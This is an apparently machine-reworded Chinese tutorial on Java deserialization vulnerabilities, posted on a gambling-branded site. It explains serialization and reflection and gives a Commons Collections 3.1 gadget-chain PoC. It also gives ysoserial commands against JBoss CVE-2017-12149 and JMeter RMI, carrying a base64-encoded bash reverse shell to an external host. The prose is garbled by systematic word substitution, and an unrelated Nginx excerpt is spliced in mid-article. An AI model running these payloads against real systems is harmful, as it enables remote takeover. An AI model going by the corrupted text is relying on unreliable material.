Java反序列化破绽道理剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Java反序列化破绽道理剖析

申博_安全预警 申博 49次浏览 已收录 0个评论

Java反序列化破绽道理剖析

Java序列化与反序列化

序列化与反序列化历程

Java 序列化是指把 Java 对象转换为字节序列的历程
ObjectOutputStream类的 writeObject() 要领能够完成序列化

Java 反序列化是指把字节序列恢复为 Java 对象的历程
ObjectInputStream 类的 readObject() 要领用于反序列化。

完成java.io.Serializable接谈锋可被反序列化,而且一切属性必需是可序列化的
(用transient症结字润饰的属性除外,不介入序列化历程)
须要序列化的类

package serialize;

import java.io.Serializable;

public class User implements Serializable{
    private String name;
    public void setName(String name) {
        this.name=name;
    }
    public String getName() {
        return name;
    }
}

序列化和反序列化

package serialize;

import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        User user=new User();
        user.setName("leixiao");

        byte[] serializeData=serialize(user);
        FileOutputStream fout = new FileOutputStream("user.bin");
        fout.write(serializeData);
        fout.close();
        User user2=(User) unserialize(serializeData);
        System.out.println(user2.getName());
    }
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

运转效果
Java反序列化破绽道理剖析

写到文件的就是该对象序列化后的二进制数据

readObject()要领

专程提到这个要领是由于在反序列化破绽中它起到了症结作用,readObject()要领被重写的的话,反序列化该类时挪用就是重写后的readObject()要领。假如该要领誊写不当的话就有能够激发歹意代码的实行,如

package evilSerialize;

import java.io.*;

public class Evil implements Serializable{
    public String cmd;
    private void readObject(java.io.ObjectInputStream stream) throws Exception {
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd);
    }
}
package evilSerialize;

import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Evil evil=new Evil();
        evil.cmd="calc";

        byte[] serializeData=serialize(evil);
        unserialize(serializeData);
    }
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

Java反序列化破绽道理剖析
但一定不会有程序员写出如许的代码,所以每每现实中反序列化破绽的组织比较复杂,而且须要借助Java的一些特征如Java的反射

Java反射

Java反射定义

关于恣意一个类,都能够取得这个类的一切属性和要领;关于恣意一个对象,都能够挪用它的恣意要领和属性;这类动态猎取信息以及动态挪用对象要领的功用称为java言语的反射机制。

实在在Java中定义的一个类自身也是一个对象,即java.lang.Class类的实例,这个实例称为类对象

  • 类对象示意正在运转的 Java 应用程序中的类和接口
  • 类对象没有大众组织要领,由 Java 虚拟机自动组织
  • 类对象用于供应类自身的信息,比方有几种组织要领, 有若干属性,有哪些平常要领

要取得类的要领和属性,起首就要取得该类对象

猎取类对象

假定如今有一个User类

package reflection;

public class User {
    private String name;

    public User(String name) {
        this.name=name;
    }
    public void setName(String name) {
        this.name=name;
    }
    public String getName() {
        return name;
    }
}

要猎取该类对象平常有三种要领

  • class.forName(“reflection.User”)
  • User.class
  • new User().getClass()
    最经常运用的是第一种,经由过程一个字符串即类的全路径名就能够取得类对象,别的两种要领依靠项太强

应用类对象建立对象

与new直接建立对象差别,反射是先拿到类对象,然后经由过程类对象猎取组织器对象,再经由过程组织器对象建立一个对象

package reflection;

import java.lang.reflect.*;

public class CreateObject {
    public static void main(String[] args) throws Exception {
        Class UserClass=Class.forName("reflection.User");
        Constructor constructor=UserClass.getConstructor(String.class);
        User user=(User) constructor.newInstance("leixiao");

        System.out.println(user.getName());
    }
}
要领 申明
getConstructor(Class…<?> parameterTypes) 取得该类中与参数范例婚配的公有组织要领
getConstructors() 取得该类的一切公有组织要领
getDeclaredConstructor(Class…<?> parameterTypes) 取得该类中与参数范例婚配的组织要领
getDeclaredConstructors() 取得该类一切组织要领

经由过程反射挪用要领

package reflection;

import java.lang.reflect.*;

public class CallMethod {
    public static void main(String[] args) throws Exception {
        Class UserClass=Class.forName("reflection.User");

        Constructor constructor=UserClass.getConstructor(String.class);
        User user=(User) constructor.newInstance("leixiao");

        Method method = UserClass.getDeclaredMethod("setName", String.class);
        method.invoke(user, "l3yx");

        System.out.println(user.getName());
    }
}
要领 申明
getMethod(String name, Class…<?> parameterTypes) 取得该类某个公有的要领
getMethods() 取得该类一切公有的要领
getDeclaredMethod(String name, Class…<?> parameterTypes) 取得该类某个要领
getDeclaredMethods() 取得该类一切要领

经由过程反射接见属性

package reflection;

import java.lang.reflect.*;

public class AccessAttribute {
    public static void main(String[] args) throws Exception {
        Class UserClass=Class.forName("reflection.User");

        Constructor constructor=UserClass.getConstructor(String.class);
        User user=(User) constructor.newInstance("leixiao");

        Field field= UserClass.getDeclaredField("name");
        field.setAccessible(true);// name是私有属性,须要先设置可接见
        field.set(user, "l3yx");

        System.out.println(user.getName());
    }
}
要领 申明
getField(String name) 取得某个公有的属性对象
getFields() 取得一切公有的属性对象
getDeclaredField(String name) 取得某个属性对
getDeclaredFields() 取得一切属性对象

应用java反射实行代码

package reflection;

public class Exec {
    public static void main(String[] args) throws Exception {
        //java.lang.Runtime.getRuntime().exec("calc.exe");

        Class runtimeClass=Class.forName("java.lang.Runtime");
        Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);// getRuntime是静态要领,invoke时不须要传入对象
        runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");
    }
}

以上代码中,应用了Java的反射机制把我们的代码企图都应用字符串的情势举行表现,使得底本应该是字符串的属性,变成了代码实行的逻辑,而这个机制也是后续的破绽运用的前提

JAVA Apache-CommonsCollections3.1 反序列化RCE破绽剖析

该破绽组件下载地点
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1

Java开辟历程中常运用一些大众库。Apache Commons Collections供应了许多强有力的数据结构范例而且完成了种种鸠合东西类

Apache Commons Collections 反序列化 RCE 破绽题目主如果由于个中的InvokerTransformer类能够经由过程Java的反射机制来挪用恣意函数,再合营其他类的包装终究完成反序列化破绽

InvokerTransformer类的transform要领

在transform要领中传入了一个对象,然后经由过程反射挪用了iMethodName要领,参数是iArgs

而要领名,参数范例,参数值都可经由过程组织函数传入
那末借助InvokerTransformer可像如许实行敕令

package invokerTransformerDemo;

import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokerTransformerDemo {
    public static void main(String[] args) throws Exception {
        //Class runtimeClass=Class.forName("java.lang.Runtime");
        //Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);
        //runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");

        Class runtimeClass=Class.forName("java.lang.Runtime");// Runtime的类对象

        //借助InvokerTransformer挪用runtimeClass的getMethod要领,参数是getRuntime,末了返回的现实上是一个Method对象即getRuntime要领
        Object m_getMethod=new InvokerTransformer("getMethod",new Class[] {
                String.class,Class[].class},new Object[] {
                "getRuntime",null
                }
        ).transform(runtimeClass);

        //借助InvokerTransformer挪用m_getMethod的invoke要领,没有参数,末了返回的现实上是runtime这个对象
        Object runtime=new InvokerTransformer("invoke",new Class[] {
                Object.class,Object[].class},new Object[] {
                null,null
                }
        ).transform(m_getMethod);

        //借助InvokerTransformer挪用runtime的exec要领,参数为calc.exe,返回的自然是一个Process对象
        Object exec=new InvokerTransformer("exec",new Class[] {
                String.class},new Object[] {
                "calc.exe"
                }
        ).transform(runtime);
    }
}

然后还须要相识的是ConstantTransformer类的transform要领
Java反序列化破绽道理剖析
代码很简单就是返回iConstant
而iConstant在组织函数传入
再看一个比较症结的类ChainedTransformer,起首是其组织函数

可见传入的是一个Transformer的数组,并赋给iTransformers

然后它的transform要领
Java反序列化破绽道理剖析
挪用了iTransformers中每一个Transformer的transform要领,而且将每次的返回值作为了下一个Transformer的参数

那末修正下之前借助InvokerTransformer实行敕令的代码,可写出以下反射链

package reflectionChain;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;

public class ReflectionChain {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {
                        String.class,Class[].class},new Object[] {
                        "getRuntime",null
                        }
                ),
                new InvokerTransformer("invoke",new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,null
                        }
                ),
                new InvokerTransformer("exec",new Class[] {
                        String.class},new Object[] {
                        "calc.exe"
                        }
                )
        };

        ChainedTransformer chain= new ChainedTransformer(transformers);
        chain.transform(null);
    }
}

至此,我们破绽的应用前提是组织出含敕令的ChainedTransformer对象,然后触发其transform要领。

如何触发呢,接着看TransformedMap类的源码
在checkSetValue函数中挪用了valueTransformer的transform函数

对外建立TransformedMap对象的要领是decorate要领,valueTransformer也在此传入

所以把之前组织的反射链chain传入组织一个TransformedMap对象

Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);

还须要继续寻觅触发checkSetValue的处所

Map是java中的接口,Map.Entry是Map的一个内部接口
Map.entrySet()的返回值是一个Set鸠合,此鸠合的范例为Map.Entry
Map.Entry中的setValue() 函数终究会触发 checkSetValue() 函数

所以对outmap对象以下操纵便可触发敕令实行

Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");

完全代码以下

package reflectionChain;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

public class Poc {
public static void main(String[] args) throws Exception {

        Transformer[] transformers=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {
                        String.class,Class[].class},new Object[] {
                        "getRuntime",null
                        }
                ),
                new InvokerTransformer("invoke",new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,null
                        }
                ),
                new InvokerTransformer("exec",new Class[] {
                        String.class},new Object[] {
                        "calc.exe"
                        }
                )
        };

        ChainedTransformer chain= new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("key", "value");
        Map outmap = TransformedMap.decorate(innermap, null, chain);

        Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
        onlyElement.setValue("x");
    }
}

现在的组织还须要依靠于Map.Entry去挪用setValue(),如何才在反序列化时直接触发实行呢?

Web中间件破绽总结之Nginx破绽

解析漏洞 漏洞简介: 对于任意文件名,在后面加上/任意文件名.php后该文件就会以php格式进行解析,是用户配置不当造成的 漏洞复现: 在网站根目录新建test.jpg,里面写入phpinfo(),打开试一下 试一试Nginx的解析漏洞,在后面加上/x.php 对于低版本的php能够直接解析成功,高版本php因为引入了security.limit_extensions,限制了可执行文件的后缀,默认只允许执行.php文件,这里来看看两个与Nginx解析漏洞相关的核心配置 核心配置:cgi.fix_pathinfo 该选项位于配置文件php.ini中,默认值为1,表示开启。当php遇到文件路径/aaa.xxx/bbb.yyy/ccc.zzz时,若/aaa.xxx/bbb.yyy/ccc.zzz不存在,则会去掉最

之前提过假如某个可序列化的类重写了readObject()要领,反序列化时就优先挪用重写后的要领,假如能找到一个类在其readObject()要领中对Map范例的变量举行了键值修正操纵,且这个Map变量是可控的,那末就能够完成进击目的

AnnotationInvocationHandler
这个类有一个成员变量memberValues是Map范例
而且readObject()函数中对memberValues.entrySet()的每一项挪用了setValue()要领
Java反序列化破绽道理剖析

所以末了poc

package poc;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

public class Poc {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {
                        String.class,Class[].class},new Object[] {
                        "getRuntime",null
                        }
                ),
                new InvokerTransformer("invoke",new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,null
                        }
                ),
                new InvokerTransformer("exec",new Class[] {
                        String.class},new Object[] {
                        "calc.exe"
                        }
                )
        };

        ChainedTransformer chain= new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("key", "value");
        Map outmap = TransformedMap.decorate(innermap, null, chain);

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, outmap);

        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }

}

末了生成的temp.bin只须要经由过程某种门路传递给效劳端使其反序列化便可RCE

总结下应用链就是
Java反序列化破绽道理剖析
须要注重的时改以上应用要领在jdk1.7有用,不过ysoserial中也有jdk1.8的应用体式格局

Jav反序列化破绽应用

触发场景

1.HTTP请求中的参数
2.RMI,即Java长途要领挪用,在RMI中传输的数据皆为序列化
3.JMX,一个为应用程序植入治理功用的框架
4.自定义协定 用来吸收与发送原始的java对象

相干东西

https://github.com/frohoff/ysoserial/

现实测试

JBoss 5.x/6.x 反序列化破绽(CVE-2017-12149)

这里借助vulhub的环境
https://vulhub.org/#/environments/jboss/CVE-2017-12149/
初次实行时会有1~3分钟时候初始化,初始化完成后接见http://ip:8080/即可看到JBoss默许页面
该破绽出如今/invoker/readonly请求中,效劳器将用户提交的POST内容举行了反序列化
运用ysoserial来复现生成序列化数据,由于Vulhub运用的Java版本较新,所以挑选运用的gadget是CommonsCollections5

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTExLnh4eC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

Jmeter RMI 反序列化敕令实行破绽(CVE-2018-1297)

Apache JMeter是美国阿帕奇(Apache)软件基金会的一套运用Java言语编写的用于压力测试和机能测试的开源软件。其2.x版本和3.x版本中存在反序列化破绽

先相识一下RMI

RMI
RMI定义

Java RMI(Java Remote Method Invocation),即Java长途要领挪用。是Java编程言语里,一种用于完成长途历程挪用的应用程序编程接口。
长途要领挪用是分布式编程中的一个基本思想。而RMI(Remote Method Invocation)是专为Java环境设计的长途要领挪用机制
长途效劳器完成细致的Java要领并供应接口,客户端当地仅需依据接口类的定义,供应响应的参数即可挪用长途要领。
RMI依靠的通讯协定为JRMP(Java Remote Message Protocol ,Java 长途音讯交流协定),该协定为Java定制,请求效劳端与客户端都为Java编写。这个协定就像HTTP协定一样,划定了客户端和效劳端通讯要满足的范例。在RMI中对象是经由过程序列化体式格局举行编码传输的。

RMI交互图
RMI Demo

定义一个长途接口

package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IUser extends Remote {
    public void setName(String name) throws RemoteException;
    public String getName() throws RemoteException;
}

IUser是客户端和效劳端共用的接口,客户端当地必需有长途对象的接口,不然没法指定要挪用的要领。 长途接口必需继续Remote,而且一切参数和返回范例都必需能够序列化(由于须要收集传输),恣意长途对象都须要完成该接口且只要长途接口中指定的要领能够被挪用。

定义长途接口完成类即长途对象

package RMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class User extends UnicastRemoteObject implements IUser {
    protected User() throws RemoteException {
        //UnicastRemoteObject.exportObject(this,0);
    }
    private String name;

    public String getName() throws RemoteException{
        return name;
    }
    public void setName(String name) throws RemoteException{
        this.name=name;
    }
}

须要继续UnicastRemoteObject类,才表明其能够作为长途对象,被注册到注册表中供客户端长途挪用。
假如不继续UnicastRemoteObject类,则须要手工初始化长途对象,在长途对象的组织要领的挪用UnicastRemoteObject.exportObject()静态要领

RMI注册表
Server端注册了一个长途对象后,JVM随机监听一个端口
Client端并不知道Server长途对象的通讯端口,然则Stub中包含了这些信息,并封装了底层收集操纵;
Client端能够挪用Stub上的要领;
Stub连接到Server端监听的通讯端口并提交参数;
长途Server端上实行细致的要领,并返回效果给Stub; Stub返回实行效果给Client端,从Client看来就好像是Stub在当地实行了这个要领一样;
那怎样猎取Stub呢?

罕见的要领是挪用某个长途效劳上的要领,向长途效劳猎取Stub。然则挪用长途要领又必需先有长途对象的Stub,所以这里有个死循环题目。JDK供应了一个RMI注册表(RMIRegistry)来处理这个题目。RMIRegistry也是一个长途对象,默许监听在1099端口

运用RMI Registry以后,RMI的挪用关联是如许的
所以实在从客户端角度看,效劳端应用是有两个端口的,一个是RMI Registry端口(默许为1099),另一个是长途对象的通讯端口(随机分派的)

效劳端

package RMI;

import java.net.MalformedURLException;
import java.rmi.*;
import java.rmi.registry.*;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        User user=new User();//建立一个长途对象

        Registry registry = LocateRegistry.createRegistry(1099);//当地主机上的长途对象注册表Registry的实例,默许端口1099
        registry.bind("user", user);//把长途对象注册到RMI注册效劳器上,并命名为user

        System.out.println("server ready...");
    }
}

客户端

package RMI;

import java.net.MalformedURLException;
import java.rmi.*;
import java.rmi.registry.*;

public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
        Registry registry = LocateRegistry.getRegistry("localhost",1099);
        IUser user = (IUser)registry.lookup("user");// 从Registry中检索长途对象的存根/代办

        user.setName("leixiao");// 挪用长途对象的要领
        System.out.println(user.getName());
    }
}

LocateRegistry.getRegistry()会运用给定的主机和端口等信息当地建立一个Stub对象作为Registry长途对象的代办,从而启动全部长途挪用逻辑。效劳端应用程序能够向RMI注册表中注册长途对象,然后客户端向RMI注册表查询某个长途对象称号,来猎取该长途对象的Stub

客户端lookup找到的对象,只是该长途对象的Stub(存根对象),而效劳端的对象有一个对应的骨架Skeleton(用于吸收客户端stub的请求,以及挪用实在的对象)对应,Stub是长途对象的客户端代办,Skeleton是长途对象的效劳端代办,他们之间合作完成客户端与效劳器之间的要领挪用时的通讯

破绽复现

 

如许便在效劳器的1099端口开启了RMI效劳

直接运用ysoserial即可举行应用,这里用的是BeanShell1这条gadget
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 39.107.111.xxx 1099 BeanShell1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTExLnh4eC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"

RMIRegistryExploit会在当地起RMIClient与效劳端举行通讯而且传入歹意的序列化数据

演示源码和参考链接

源码

Java反序列化破绽进修笔记源码

参考链接

JMX超细致解读
深切明白JNDI注入与Java反序列化破绽应用
明白Java RMI 一篇就够
JAVA RMI 道理和运用浅析
java RMI道理详解
深切明白 JAVA 反序列化破绽
Java反序列化破绽从入门到深切
Java反序列化破绽的道理剖析
Java反序列化破绽从无到有
Java 反射 -超细致解说(附源码)
Java反序列化破绽剖析
JBoss 5.x/6.x 反序列化破绽
Jmeter RMI 反序列化敕令实行破绽

 


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Java反序列化破绽道理剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址